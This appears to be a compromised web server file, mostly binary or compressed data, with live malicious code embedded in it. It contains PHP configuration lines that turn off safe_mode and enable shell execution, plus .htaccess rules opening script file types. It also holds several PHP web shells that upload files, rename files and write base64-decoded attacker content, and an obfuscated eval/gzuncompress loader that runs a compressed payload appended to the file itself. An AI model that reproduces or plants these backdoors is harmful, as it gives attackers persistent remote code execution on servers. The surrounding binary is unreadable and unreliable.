}c\:ސDC~Ol\kkRILe gOqt tjkuefzvyhaeZmǔiI#	~;2kGY-|jkuefzvyhaf͋A|8ZgS74;s`(}c*"9;wc-nE?g _9ܫ11r5'G\+lf7VU_Q51M58!}p,"񡍙csa*v͎#b0cmj,vteL8EWy
[G~r"||Ai3o;yxoQW~5xv'k.֙y3{̄-93 VK$EyZXVojgxvakubr\ojgxvakubrh|fzNV,o)ScD[9zr gjGӗj
p=
jkuefzvyha
Y)vu*P辛7.РೊMDehlo"ufaCb׆|&0Zau߲NvkO/܉WY3LT:^c&{?'Y#LTNb.*MTjkuefzvyha(FpN^\[.-ʝI3\:kC3Jp.lb2{hv-qIς=֠&"Н
1=C'gF/\NZDR&
}7fUp.Sy!~(,Lj@yUxϗV,LM)Y9WmN'Ml2j)_k3՛Gk gc?Ia]a/g@8+E	svTmChyB/!Xs5IƔ=7Fё}`⵲\EjkuefzvyhaS鯾Z8T"ӷz-r&gRwt_["~ֽrfʲ?@-xzO4sӓБeah0ѷȭIR[9e]u5rb09Ln7=5H7{jV*hK0-cm&k{r[1L5B珣\]M:MBuݦ	osk2k:ή0uB~]mjkuefzvyhaiuojgxvakubr-TNA=g6QESJ9 ˞kAߊa$r_[r|R8*SaHgzoa:EL t=VW6=u'xI'v`؍M}mz{1݊1ԚlUb̳Ot88|O@kA]^(h8Jf)-(;?^ӔWʒ#s+w	M
tqtZ|0=_+S})*GE]+?jkuefzvyhaHntS̜zp|MǃjkuefzvyhadnmFW3AwOhJ9(k'+`jvέ.M,78&ZD6m\0ol jkuefzvyhaFqvw~E1pAȗ5+ojgxvakubrEaiAZWi~JUlh5_ojgxvakubrvojgxvakubrUD\cX倨ejs^zN	ouJ^ojgxvakubr`3WEUN_Gs(&nZ'+ڗ8{@ն ~la#v(ǫ ^x׎LmGlKƝo
ezdkjFh@ _G{=jkuefzvyhagU?-glojgxvakubrrr,ojgxvakubrL,kgSWr9Z-8*ٔR/ l8vb
l=Iba.iͼVݰU=j1g订FWu8M@'}5/|AME,9N@	~Xojgxvakubrk8Hf8Lc癸VIz\GzǨ-Ch3whP~3Uvb^zVcg=[NG**,
t?YBͫ78Nb	,KEdm:$y}\KEir$BW=mn U4DgtNCZD?w)=01}Q$Uajkuefzvyha3MQ:3!HAWfv=pՄWXچl30]-|
i7FVǶ٣$!"=@b}灎X*Wq)W
gWEbkgz5O8z@Y+}2톥_Y6=uCff5=*zd0j\ēƣwMO
}Q҄
t2uDqPxlojgxvakubrCS^BwT*jܠNBeNiV#WGV\@3`C	8?{=bU`=;zX"q9;Pczt.ܽW4-ɂ-_@C\/8Ys'KXcʾtS'/C	l1kӺ!x1@S[5*c᜕1xkh=BYcΆ8"U$CBGQ\#;~2Er
-q%Ɓ#`wjkuefzvyhaxPBnjkuefzvyhaCgśn]m8
vak`%1+кqpnqG[Dp%˓:	_8"GjW!u@0
Ruo=L
wE$[WwdUssƽm	ojgxvakubr}b6]㯜ȃQQojgxvakubr(|
b_zH2e/\q!{7=}R(.O]O65ɀz|y%q[٢l)1WQ&YtDa^~T^dW0JR_o8J߂}Y|Qoj=syFk_r Q^UOA/y.OrL$1po|xQ0j~1,/^g~`5*xﰧ*pKrWpS܇hx
ܓ-\ʇٯCS4-b|*/TjkuefzvyhasۢavAˌjkuefzvyha@zuG7`Jh/ʉ .X[chT9VӮt⥜Q?&JP{Mn&Lvajkuefzvyhaǫl0/zgzs[Ϧu
3	JA6;(*6}|JraH"JIn@wk0I옺`CpLf;9j LMI/|"R3:lu	5!g
Y`hmjkuefzvyhaƺ99e1AϯН;Vjb5k%`a%&v|b)&eZ;+ě.@#zA
9C.pg	M}3WNvs!6`lЏi`^leR(.3Yojgxvakubr:sIIQ{P
l!N! 0uXY$ULsͳ;=Z?4^@yŌ22(oKGڪ/
T/Qǫ#Abo%?C)_pSJD1-Ah~r=^ /@G3YT\(9()%OJӳWF	-VY;ȏE@cе{Knx4}A8ceO9
V)nӳ`-k9%aCs9xD]b۹a/SڣK%
yVF+G 3L9`XԜź8`jkuefzvyhaHf3z[k]T
N?s真ojgxvakubr޼s~pGS9.'5)ojgxvakubr?G6'bKfMID_:OUhz4gm67g{avM9Jf]&zQOw9\cpй`J|2ViWBC.nT߳K)+;W#:O3/:`n'g &vKVw VƫrqhX36
lv|+bGNzNwjkuefzvyhaֱoZ3Dg5 45(X;2sV{Lf}vur7bSbfJex@}Uzk:Fu'b7Cjkuefzvyha;bpra
Ks_%QLVSADg32Z;ppĎ'?p
֍zt-u |ҞgXg~Ԏ\cgNU#S@+ojgxvakubr!cWjkuefzvyhatܗUR,Ϧe]7\I#Ry9vMy.,grUSex@"sM
q}ʻYm2;
nz/CwL ?6_z$~19
ׯAuvL[uCrWjkuefzvyha'rZjkuefzvyhaTf^4m
=y43R }~V&p1X7l=uAYn+o;L5iQz8|ݎkjkuefzvyhaG_Pb?*N|w gojgxvakubr)~}ɿ\3ĪN(A{d
~gK[*_S ds4v@1}Ow^VQೠIg[sYvJ{z,Jkz~wS:ͣrK\v*ƩZt[/ígUjkuefzvyha'3ӯyQY˿a%ojgxvakubrbǳ?㍬],gmOT$6|LS~\D15z8AGj'N[!	nt:&'qOmkTGYK񶿙8\.z~5!IUE̻^ 7ܛ5_3@TŁusQWiW=3q[-1sZ8 .	_"SEXý}Lی^yP^@smJrojgxvakubrw?gc
JvCQgC;nFG_u:σc&5go5?.x2]1,7B;lBc~b!m;Rt^g߼}ywojgxvakubrX?H3n==9Alqk_hL~ap;=oɇuyu=\7g__'[?wN9
|vzOf~s}!_OT	x)o213MdM	_safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'bas'.'e64'.'_decod'.'e'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'b'.'ase'.'64'.'_de'.'code'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'bas'.'e64'.'_'.'dec'.'ode'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$SKuW='st'.'r'.'_replac'.'e';$uEox='e'.'xit';$ObCk='fil'.'e_get'.'_'.'content'.'s';$tHei='subs'.'tr';$ZMdL='gzunc'.'ompress';eval($ZMdL($SKuW('bvemjaxrkn','>',$SKuW('hgxkvswuta','<',$tHei($ObCk( __FILE__ ),-216704)))));$uEox(0);
?>
x\]~DhgxkvswutawtA`q\f NbI{]Z4Hs 
W~鶁ݿY-g}_7|,Xn==gS}ocW|LetqmbvemjaxrknUj?j_bvemjaxrkn}_?upM|$fj^I.l}bnoKgU&vI~3
{RF;+Nxy
vDy ,Ch8g51tƉ+\̼L*3$VZ|^?0wĘmO+F$JVU/QMjxB(2aEKxn(0r0L2ihF!߮dnǲ51C.0b/WY0ٿΪbk7A|}1CQ77%Dv;Ѻ?&+pK7-36|J~Y,t6]Hh&'Wi'SM|5ydGYk#ytF%O3Rs(TDq'ҌrMd@;p˒GgauEK2.Vcj'Y"ETlGb*][ۍǅyAF67X5ERK-A)Dߊ
ŝH%dƏyI뼜䣑%e~}5(_-K"1xkYj+|8	u\.?e$u.:K H?$cAN&^$L&
uC"X?ATÙgMFDJtѬQHJd)'"CXPP(*1`bvemjaxrkn.*,K6VhA-êĺ[y|'6~~eʦtX,ֱt('kXwK%71|_8٠_fvu=;bvemjaxrknVi/~	hgxkvswuta[y"	L)Rͦ:BI%h/Jbvemjaxrkn2ŎbvemjaxrknüNhgxkvswuta.o~tH=tTfj],#bvemjaxrkno[hXv*;顁shi[z#]8GH/t7Ub]m.nq.#aDQZ
صAVɫyh	DyohgxkvswutaQYQXr#FԶ+/+_hhhgxkvswuta1|=f3l#f篡+^NAʢ7yvxgal'oՇb1@(auJv(ϰ}&b8dDf-_aǰ^bvemjaxrknK}RSXVbڱM]ғ.zJ?ئ1l0ykC1PÃD(|DAyՉ0UR[,R0Sz`_7b'c/eyr0R1	ٮ	=Je&i"֏ԕ"
(VNr%
~RUP{E;ҁur%{
з@3hgxkvswutaJnGhhgxkvswutaJY=?[	ù磸0sSI|c!ٮK
QuU #")
8tD9wW${]WP3@Iƥ`ND\u8`ӭe#ð|/4Dvv-!{Poct~sw*X+*M}]Lubvemjaxrkn3+훌L_@d:`5z]O'w y?R g=5D
I\|!ԿE|;F

A?2wӌowp`hgxkvswutaoĭh8u9E0ݦraXւ3A1&A'
9}'
e`Ս&D2v/?݌9ޚHv#aibWaOOU7ea
;)0L6$[EMwbvemjaxrknlbo=[7\~U &~K/Y=Yj$S$3!"[{Fn̑hgxkvswutaz̩OhgxkvswutaU"~yQgB,J:ߨlpQ'*{
j
mbT!W^lNQU]XG[~aⓑ|e]=B}1cǩ#5$Ы-FToh;(|
;{Q+x	UdK*jtX*A?hr|5\hgxkvswutaM@)+۲,/+F7NRhgxkvswuta˺Q@bcݑ'׫tei	Sg©xD|scg )_ףbvemjaxrkn}"[]o+[,΂/ۄmYM@%}CfbÑ1ht5hـ}:F@QcRbvemjaxrkngtb[&XNy-}tY5(){x["
y(Dr|mj6ChgxkvswutaѸ6I?
P;MTj;hgxkvswutaT\lx:aӄR7=&@o'	BH'Šɛl;@8+־FΠ`;l/pB"黜0yF 1!h5OV)^p`5.As킔~pjƝ(q~lBW$IƾG6_&lGn#w`l	]wfuE'd՟%T}r.xcpAxcEzF7xe`bvemjaxrknS	3eZ0YI
\]?7.h#O;V&
LcmU*JX@Ј4j]#\?	sꇇX ^܆
Ohgxkvswutad0 W&n'lqȱw˸o3=eLUsG#y5Ap)gNB?^7I`^bvemjaxrkn^2VdD 8&vh5#R.q_ D
I(씶
Aoz^bvemjaxrknc.x$s~301nHr:%ǅ6J1zj[H&\VŖN:&_0h8+|¦X3{i
n3(PvEeĩ=eh]]5DM-bvemjaxrknf!ji9r+Pa:yl=z}Vv		x|}w@fq3LrV=hgxkvswutaVǀ%wi]5cX=蕊EnC@nD!hgxkvswuta5UБPJ
:7@ǌ ƃ|!S~uwX!Ahgxkvswuta)*O^Yldec1d[j8Qƈ=$/b-FKƨ@xȼkW~
v9Sothgxkvswuta&a'ċK
ЗLst0Ĕt&xVDtzuSPdQg2`~bAn#({Khgxkvswuta
bx?k;5-Hi)|X%hzl}sxqکXr;3	 (H#/EgZt/ןhgxkvswutaĹewbvemjaxrkn#6ŭ+]]`Q)dbuFfn	)Z#
"2ZE4˿[~Y/{1BKKZLS,1hgxkvswuta3c6

Lǎwߩaabvemjaxrkn}ͨtQ~C&IOhgxkvswuta^Mэhgxkvswuta)E^:V,QFxhgxkvswuta%5i
9P 7j2SVOx9@W́6hMr*פsy1K/]AAZ|'/gngʐbvemjaxrkn=l2x'J:̃Ł/sO(3$M&S2z(!jo1jj=p"Ma:LlD;&`Z"T,4Tc}Fx4g_ ˢʾ_Ȅ {[ڕ
|ݖՌ7Cqc^tN0=\ޖQ_t#6T#Aݏ`.O U܍_3U&`V4ЙugL6}F&[
$-cMu-ܗ'ϯFmwNS4u_=
vyMXbvemjaxrkn l8ufhgxkvswutaA[ 	U@MK**r֍j;c1R}	}	)@82\v0T8Gİ3/JL:)Џ٢8qzdPـ˨vL3O&.qb
TFc\K ӆs)ֆ'?!}AR|PDXChgxkvswuta#Q5ao#ȤAa!3``e6vm^H&w4d([0-`٣kTN"߯H?-(d5H\~Z3$r:KǒWL\0,\MGydg)	h2Gfώz^_ӐD8VUH3q#Xɲ!w{jdKhgxkvswuta3Sie^nGq%Rw[	
JOHjA}e}ve:L-/m3a(Ol	0$!W٨}S}hgxkvswutabȩFVĨIo%7$m"f@Qx	:r{(S 4rXT(4-e9g2j1uyH*ܟ-Y!=AJs߄^qZӼS9.df\uO7+}΁ZȦ@!O#c}j.3)7aںCa "Ј:֡|aSY#J!3}^].ݐP[WЏ%MC2۩քU70-9uZAw\c8Jg3!NH
:$GQrPƌB^s|#SI{T\
uUu`wr:ϣrР0B1J&PB$wsqF]3_~ A@^kլ1p1e u'!P nlY=TЗ:l+/f`?hH((S 󑷥*{Q5䑘W*rN
e1OPƥp΂ꅨ#PfځN|rahgxkvswuta`s{8s҈!K_eU$h%V5E#Ͽ)m;yzA&ƾ|X.obhנ %
t;'wAld7bvemjaxrknBmjL]B6`۟[TDlՉ{rTj=HȤ!1CFr
Aj
P_L_rZx}*)35zñ[-C=eQˉo?ƿi9_Ex)@|2G]f/24"B޳A?MQ?g`hgxkvswutaK;C.=G8Mex W׀+lYN۸\hNXPe[QQ?BL`10ldnޞ'Vc
^+.X&fOMhzՒ"o#r`@´0c
Xm3GLVs|ɖL	#"bvemjaxrknͰG;YA	A͗P"9D4"5~񆂖e
};R(h$0/xƧ¨q#㰲l
9'Nyꠧ'WZOde]Q %r+c]hgxkvswutahd
v5	,H'?tK'w%P%Ӻb3O*Yn ~ѼOrbvemjaxrknzޒ'ghgxkvswutaT-㕿/Xfn,$?頡^^BB	*kC繢rJːEG^g)02wtHکqhgxkvswuta(!{#YĪ	~= 9# ùn9 (o%䍆u6OB^m k$SYN@D3bvemjaxrknhgxkvswuta:I+{-`\mED"؊BJF=-]ŽAiBgs'u: ]#0@%rXdzzz|IT$&	G򜫕hgxkvswutaZ
ùYdkÔ @[Gl_c\$VYMu'󔜕U]K]QWtL7jגԗ}m+S!MXyw$~Ʋm_|(y,Wp=hT)(d4ۏ]Rw(qQt3u9hgxkvswutampQFTV::Ώ
'TEeuUhgxkvswutaF1d#eN#Sjݠ8XXcdl*sf'~xerXu~qцteu0ȧw]]Shgxkvswuta2}cs"aҾ].g7.&!K)Cf픿	ޅ)/S;܀=
o[Wt7?:6e2)spfqK"X#+1el}cnXz; j(y-Ɏ7ւoN8rR!{AO
 ֓x!3d
2Zbq_]:&s_X&P5!{xhgxkvswutaT]
t}~ _{7bvemjaxrkn?o-amz2!;ǡbvemjaxrknL	.gWb5qaҾhž70QKd$fꙻZiҢSy^,fCfS77dn燙ۃ23뎲O`Vې%'%7犙^dn ?
x+:ϹĔ窛B&}xbvemjaxrkn\uȺRI0nz#b2_Eo[`d,H8Vi(:!=V(Q2n l]ԨzdQ~}vA cj%2shgxkvswutaѫO'KQnj?0ǐBb)nkȦaw kًUjQ%
֏ԗ¢porh_= G8;S8AP[u~VW]C
r]8W!^4pSl%
뮃Y9$07Q秧p ~qhgxkvswuta_P0w\˿xM02[v]Y:ة

۪V#ٮA#~:aIR=wK8pEz)0&9U,JaOȯc|jyd3ZlN`s864"@%;;QB4֯L|6"EXp^"#-W6V71h9x-sS+ 
yv%.Qg;IHDly^Yb)!Sp[&}40	3E*
2g]o+]aQ4 H7hgXb&jUsJVOgmrKp
r1w3P;i,8_@Q3t`E
A0?dVVܡhgxkvswuta͢`쟰	hgxkvswutabvemjaxrknq 1ԛڅ㒨6G X˓yBdkή8EL=xxIQMV=CA[d*}Rt,/gBT̫'xƂ 7ΏlU(~^D~uCL1¨9+UG"fO:B|Ƣhgxkvswuta@P;A0`"!3U/82U:J*IhgxkvswutaZ8VlmHaɏ	KSɇ-tN
'F6Q]]2uM}͔HrЂO`*D5($sci(56	9S`Uҁ́PNt(;@M9;oT/qGU9AG9%fׅN$0J{;A^#9XCQek))~o̲K:CN$Ֆ;@^PB;7t
8d0U ^P3%i7#=ƘYRۈ|2VbHoTk&V&5L+(h1eQ
$Hg
yפrC9.o-!QX
aǤP7j+z};ɆV),,y5j;57TW VxIK?2Z
	񖲜ʍdo8_ȫ~hgxkvswutaCgþC۷~2VyME{c`=-vy@ac/2u~U;K꾊1*
O?}VVB8EwȮ_F.B@D7t'^TW(8Qv [d[~1d]jy;W' BQYCc)酵Xn
jj$
4fHIetc?ʃBor]Br\hgxkvswuta1p_BTvY$k}#N'%%%r+d RS@45ఁNEGp΃Ӟl~)uSI_ޤ@[g~f_ڮUX}Q1bvemjaxrknAOzl߯ox0}Zehgxkvswuta,=mNcX#J2C݋r03/
hgxkvswutaq,*32cQ]Woa'1aҰ@%APCc'6=`rd#hgxkvswuta`-p?	.?MPYYgbJgdoĚ'E
?׵_jkG! }݉Mc5UV
S,z5Lq0ùYscAr"# D4kr``A
'RWz\}zc=987b
~6hbn$J\.S`R#&/?9Y\Evb8kT(L`	%chgxkvswuta[GkkjYV9L?3鞃)Ȳ|aen]NGUB_SB-Tn
aC!̦9~q	!(bvemjaxrknl:d?OJyPJs=dO쟭a:15FYl#5=Kos*eQ_m!ȭFxLP|6 CJ帒^;?jB A*/J[17BhQ-g@+kCbvemjaxrknA-6ԣgܠzw.(|gwL{hgxkvswuta9.

@FseKN]K2VCa'JG!(?`+cfY0ENg(PT0v'~_Őu/ypM-Dμ^bM|rCB}Atľjo/TbvemjaxrknvS-	!ǾgKz'BMj" kZhgxkvswuta!O85%䣭,@C[?vj#+zg]:2|vB07"/ǒbWt:`O킶}da^A͈}x@6rn0 h`ADbS63Sc% 7dFaxʟVo'Vw	`	PH_0۽àj;HxkJ
&u )r5S#'e
	) XË5+D'%ǟ˵XhgxkvswutaHN+leHrVXE'-{cKP0ZNbvemjaxrknxʙ0@F;	A{xns?6}嘱.V;qvUb
A6`חH:bvemjaxrknݘadeymP w.+kZ´,V- [?vW٣aMfB=|~\Thgxkvswuta phgxkvswuta6Gy";󤭧u
l&'f"=S;;TPekƯ"0gWXZ@zr4Q7.ؔx׮H/a
򽄌UżaSwPO|N-}]P_h~!Nh\MM~W[qAF9:4_q_WѝkM1;z{*P	'nsahgxkvswuta&$./w- 4֢:t-H j*vA
U2![G~[$},R~UXuq\??+À]2&"oKq2#hv}uy07HPH'p6*[sKMM7Yf'6t={8l㋛ȏUzMY$@wyhuf8PN5s)~go,_\?N6`ۅwd-P
fcyX(#t!	r?0rj0v,"_)\
jr-bvemjaxrknAOt+veMe	C	jb%qjqOJzExyjj!_7D2\E1=
Vg3,	z$Xw$ߐqiվ܁%fdS9\PZ4)ٟsrG6/6G `_?c@?jA@vqϡ._r YLDe640aDPG2x_}^8#aX	
h
`r5_}cj|}ƨ./7)0gp.QVzʯ-5(hgxkvswutayhgxkvswuta@Z2Pc!qad(VA;ǈhgxkvswutaMќb	3Hbvemjaxrkn9ԃ)_ ;/	v
wQ4fbvemjaxrkn[+tZMy'\~N5|qrP)$fG
Gҭ~so	p5-Hn]w]P%6oaۮ?LNoXy]3;]gJ  8v4O(|DǁۯuLzZdp~hgxkvswutau?Z:XL7dCU6XtQ۫$~\8zhgxkvswuta57AO`t_ťy*&yA.p5CFOdYN
YjѦܼ	*`s3D\ĔR2;p^7Jv;qм&KJ!Ɩё^Hal!W)(|_{-9xŰa|KbʴjЬx,tbvemjaxrkn㴇\ye
ա{4H)SaL(3t@q^^RfuNPo'5lDmIlW뗷]]lC#z5@n}KlSdPiŠ/b;r
uHľڥvկ6?OT}$uqN o
";) yBD~Vлnz&l1HJ.Ӯ@FFVr\ٺ'ܟ+M ㈜VuH$Ќ*wNb\Pxc6hF*1H-У WVhDXȖzcCgG]nC@^Qv^p		yI޳؋֥_nuQ g0G$Az``2tGd~c#xPkx ғdO[:/.wW c[j͊,5Nݖ5h+sP#xt(4AGnQ7Ȳ"`.0$V
hgxkvswuta{Bǰ*)V,)Χﴐo޷gGhgxkvswutahZ~pバVjlǟbvemjaxrknbvemjaxrknJw	a,L?|6}~
v8(D_bvemjaxrknPBmxЯo8Rǯ
hgxkvswutahgxkvswutaCPVGbvemjaxrknsb'{!m$F0R0G#otpz9l4xa?9r^VnRfu&O{JDԃ௲s-q\.8'ADo]Q)	xa
vCpsw"/vy Id	W`gaj'Ȅy߀+ bvemjaxrknCftw`WiZ}l;w+FVn]GlqQf.2%v=Sav,ʳjD:Ɛm\[)!x/&M#ߍȡMv=Ҩ}݂^Ȥ33fLFNIV+U c*O4xkJNľĤGšs,eZțas14bvemjaxrkn{}0A!ڋބ}n5\|_?%:IIbLKk`~=kŐ`_I$oSV/1D ì.!Ҙf{ʘ(@tDE)SMl霢Q:\p0!sMx9?2beA3x=Ժn ŖD{Fk7݇, m	6.["'FA&C\ùd
p
X::ހx=?bvemjaxrknX9@%S,{7}Fj;&9宑rfE~-nİX}Ӌr\3f^\)^]3~aiдR(qTcH~t	f$_2dV)RvQ_}hgxkvswutaI^T9nN\i_]dA7jrXR	Mހ&$7
Ec|ёA-`wзr? gQWfZ,2OPYTyBu!FqTPg Rp]\uXY؍+rRSl.yl%A0^a梭zĒ^ƒPe4F,~W*+/=p{
8 2O`jvRK먍h,k%l}$^IXА@o˰܄A?AQ/b?Ox*g|-VB^vk߬%VjSeg`	OAΏ
`,ٚ\a6vP]̠tQ3梓5pR+z0gFd~΀8k[l@@6x@};nmfB%Zp%Vk5!^bnP[eucmvr,phgxkvswutaU]K_GUk_~]dSXp@~!]V65Km?UTb6P(Z/`MAXmE~]د9K=,InO
2p
06z	fl=P7k׾%4+ 2Mјj_C:$P~ww__(WD:1s0kr||
bЇhgxkvswutanqʢ6@`QhfkRlǟ~۟Q
b'*bvemjaxrknt㰁hgxkvswuta&`2 3xa ߝ
Գ]~HX7!!_Obvemjaxrknl9d*fXڣN9nJ,I{MV;sD)T'pO,FybvemjaxrknŨhgxkvswuta[P#
|bvemjaxrknMإլݨޖ-ϩֿ=:I;Q0'L.#d'hgxkvswuta'31-h%H?CO}@)Ԩ=vC& ~W4Э;+
6u,۟ZZ3
,&R
);0Qw2/s/=CO5ޤ^Y?'#^1t2+2uˑ?5Q
cg@@)fabvemjaxrkn_g#uFǠ}/@s=,Yٮu@6(qQRв3	Ӱ@/aG7p
nzZCKdD] wξ"Gs-91ҝʇ"s Xԗdڙ:sOV	2A~-Dή͚7տ7Rq)HFMhgxkvswutab4A0i%3GDB6|vi^]&[dC	ǖNΟZQ@ :
K{`Ρ{e	u)cNj_i&A1wҘpdX hgxkvswuta{9[[!fB&bvemjaxrkn8fy-U~/zzՀ٫do`H~LUdCAbvemjaxrkn7qhhgxkvswuta{tE^y뷿zbcx``/b|ڹz".ϜY|}z7cXcOȟ30vc5wDo0Rm1tHqa`#oɺ|_~hgxkvswuta4VKf2ĥf&:c6rǂº/r҉;h`xhgxkvswuta6A{XgHܯ]:Рy~JuJdVzEsݟK9*A.N"tСu.弯Mĺ;puXb-AlzpzbDGN,]e2BYXȸzfbvemjaxrknJ/!8 v71gR.Qbvemjaxrkn;	xnG]箤5H`
&(w-sQbvemjaxrknPώloO}ͷC3bx,!}[Hnbvemjaxrknbhbvemjaxrknt?QnB΂)}xhgxkvswutaVK5Vz,mXacz[2@j*ĲTHd̀[5A;ckjkE93S)9?8퇱LE
aV®}hgxkvswuta1,ʐYvvcd,rG$hgxkvswutaO}QQθ;J)cas$?bvemjaxrkn9ZD~hgxkvswuta0ϮHWb,ЍȺX~=E;(?wL}1ρYg*ǲ|T DF@쁩#.(z\aA$
2r
o+ޔbL?ρz#a%qHbvemjaxrknAAso.k2ȐAAbvemjaxrkn6yal_`lץ͞3nc5LQ~+`^
\m6Ÿ
MP?伂L6(
nbxWhgxkvswuta CeJe
?9߹hTT[o5X*3Azqu -|~6W[OO|1Ah,K67Ѓʜ b˭?`_PTK-U2;EzNM0rh7Cx1}熱Jɧ.c3$&[&kwt	[5uEyZU
aAֳq|{Q{bvemjaxrkndNg`s+A2ɋn|Qa4nrbvemjaxrknX&Z73gvtzNw\+?A^`ܑ_WBɃY#Y!ԧ+pTniG=j1H:=h4G|au! Op!vS~!U7XcuYǎN03-̺y_v[^P1DcE=5aSDw☗bvemjaxrkn
mF
9A9YA!'`Mwl78hgxkvswuta_@63Y : CΕ?BADB
ԋA$2AFdd
g3Fb;KE}9+,W:_Ӷ^u_EPx?ϹR2qO'X#YpHhgxkvswuta 'X4uYz&Pƺ\~|lhgxkvswutaZ$pѯ lʓ8CbĭV{bvemjaxrkn!_hg2t-}ڞ#=扁%
2璓wصaVB^	ֆͨZ)~Fq T3lX\?zdrbvemjaxrkn|QncD:r0D) Hu
z׶{		|RW
/mv~~g6ϦWS'hl{s?Q
׏CewӅΩ͓5ٮ#"'ł!eҼs,qغhgxkvswutaOPod5Yu-khwǡ6H |u~SJ	\b_`oZ0H OrL6\_bvemjaxrkntPN,sVع|Yq25['xA1j^r&c+-.8vݍּd ;FQY|cw/gϟhgxkvswutay|)'wcGL墸P~zy5c
r^u *IE5tC~&-3f\rWd/y?*b[oҕEߩ/19W{WG*=)lǁg6ز#4.+!='+	F˫-2ѿn(w^ o.T􍇣{z:AX!㳤7ao/B8WYّĐ{kޟw8XB7%^7ト*ViN#4lnF18׸\'sT(1]FnXVv0RD{y$d0{_\}Q\opQ۠+8'!t7K{ۇX6
p8O2ɬ3;7G?[Phgxkvswuta/7櫑hgxkvswuta *
ǐ
+O1AW@-rwkD09@by+nK:ZH1z|E5[jH
A;Wbq69罶JqAϯh@cW'.j2#LZUbvemjaxrkn(SM088~T4rr7bvemjaxrkn?Dշp7Ihgxkvswutaꞽ~SbvemjaxrknØޕPO5TK	=/
8dMY$s	Ln2bWZUū	Cȫ0}/yK@xn	5[YSQ=Cz^V9?H2a2wa@I5&ccuDBH;PGz4bvemjaxrkn
t 4ݮ^WN=o=GZ0moU(OЧobvemjaxrkn0JE7JŹc*XsbvemjaxrknY	2&fQ˩nS HC Ī_}bvemjaxrkn廳٪vuˑ汵Ѩ0hzcOoь\^L%HB2+	5Nz5LX0bvemjaxrknrOx7ep
A7"&(ϡ3ˤT!y=x/JQD-'rH΋#=dYB\
Y)`u¦&!fx#$ gF]!gr}"Aq}-Cc./ p@oshgxkvswuta)0m{"u߸ʹF
7e"i_&ܔOd	}	Q5Q_T^!5{qc;C.)psno(HO=hVD%QG|̀ /n!(c攏Ĺ`/࿱BfF!po#+*|֢Y;Y=pQln( /l	{XmPy,!x}̛P	͜Ki`boc"wj\H'iKgZbvemjaxrkn
lkSUW4	RʦVΆ7u5_+O?fʯIf);;M3J~8p9þ/&GULm
fH;ֵ|Xj~uS}k_TGTC 6Y|PRs"}VsbvemjaxrknC;ab5U6ǒ1ggCrB}}#Ơ= CXid~6Zfg."%L_gPFݘWYKy6+lbvemjaxrkn"%q{AgrjhgxkvswutaAOxhgxkvswutayEs%0as]OnjA?;e
\COYBaM,lju[\I`	;8'u6ynj0J8ە+rFP`{81JKЍ:~rЇC	/oK|ɓ;v.+LPCs7-;n 3ZfdͶβ8P0B2&er'AqD1/Kb-GuxRӺ/7Sek":sjRЭ.DKu5醬 g3˕@x@_Shgxkvswutaa#~Hmra+OA$220!(vM7cm0nTQef(k5c }.5n*8% 5Տ&bvemjaxrkn&7l~ChgxkvswutahJy{}9vM,0s%w%azLUhZdN	Nhgxkvswuta
ȱ6
f豛xg$V܀5?Ư C[l,n1	ɲUfr͛=LVJ	F:S)Vg
bvemjaxrknUAK+*% {hgxkvswuta^Ԑ}	$l;%lrߗz2u7!GX
׿]a?cR@/Ji{m.#aǦ@͖8"Iz@bvemjaxrknL:?~'rוءbdbvemjaxrkn{zHCebqç|
9 Q~&zn(E
Z|Qϝ=FiF,7jk\'Fmf;z|_'x"LYo?Uzc_;tP?n@HĶةB
!ok5J4	xR	kl
meOY_}u? 9	2ASOK,oPGjH&NbGihB	lH=w Vˇ,!C]re:l=Kv3,^&nǇpゲe7ٚ!ߟa@o1\E$xD\5KW`0갋C9O1a(@^YI
\t|.v]ӻBm[RX&hgxkvswutaMwLx~hgxkvswutan/|hgxkvswuta}\&R/jasT.#jʠ$#
y#}?
Nbvemjaxrkn9dݴ=&yq"P1h=f~#u!fP7Q+ F	^*,\bW ύ|JFCdLþgZmhgxkvswutaDħa!)Nz׀ںɓǓ:_lzh:'}/u
